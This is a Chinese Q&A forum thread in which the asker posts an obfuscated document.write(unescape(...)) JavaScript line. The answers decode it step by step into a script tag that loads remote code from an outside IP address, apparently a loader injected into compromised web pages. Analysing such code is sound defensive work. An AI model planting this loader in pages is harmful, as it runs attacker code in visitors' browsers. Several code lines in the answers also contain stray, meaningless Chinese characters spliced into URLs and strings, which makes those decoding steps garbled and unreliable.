Question

希望大家帮我分析一下以下代码是JS的！

document.write(unescape('%3Cscript%3E%0D%0A%0D%0Adocument.writeln%28%22%3Cscript%20type%3D%5C%22text%5C/javascript%5C%22%20src%20%3D%20%5C%22http%3A%5C/%5C/121.15.245.60%5C/oo.asp%5C%22%3E%3C%5C/script%3E%22%29%0D%0A%0D%0A%3C/script%3E'))

Answer 1

也就是等效于如下的代码：
<script type="text/javascript" src = "http://121.15.245.60/oo.asp"></script>

告诉你我获取的过程：
我首先写一个下面内容的HTML文件：

<textarea cols=150 name=t1>
</textarea>
<script language=javascript>
t1.value=(unescape('%3Cscript%3E%0D%0A%0D%0Adocument.writeln%28%22%3Cscript%20type%3D%5C%22text%5C/javascript%5C%22%20src%20%3D%20%5C%22http%3A%5C/橡陆缺%5C/121.15.245.60%5C/oo.asp%5C%22%3E%3C%5C/script%3E%22%29%0D%0A%0D%0A%3C/script%3E'))
</script>

用浏览器打开后，文本窗口的内容即是第一次解码后的结果，内容如下：
<script>
document.writeln("悉档<script type=\"text\/javascript\" src = \"http:\/\/121.15.245.60\/oo.asp\"><\/script>")
</script>

现在修改我的HTML文件为：
<textarea cols=150 name=t1>
</textarea>
<script language=javascript>
t1.value=("<script type=\"text\/javascript\" src = \"http:\/\/121.15.245.60\/oo.asp\"><\/梁辩script>")
</script>

再次打开文本窗口里面的内容即是最终解码内容。

Answer 2

等冲敬于

<script>

document.writeln("<script type=\"text\/javascript\" src = \和判扰"唤旦http:\/\/121.15.245.60\/oo.asp\"><\/script>")

</script>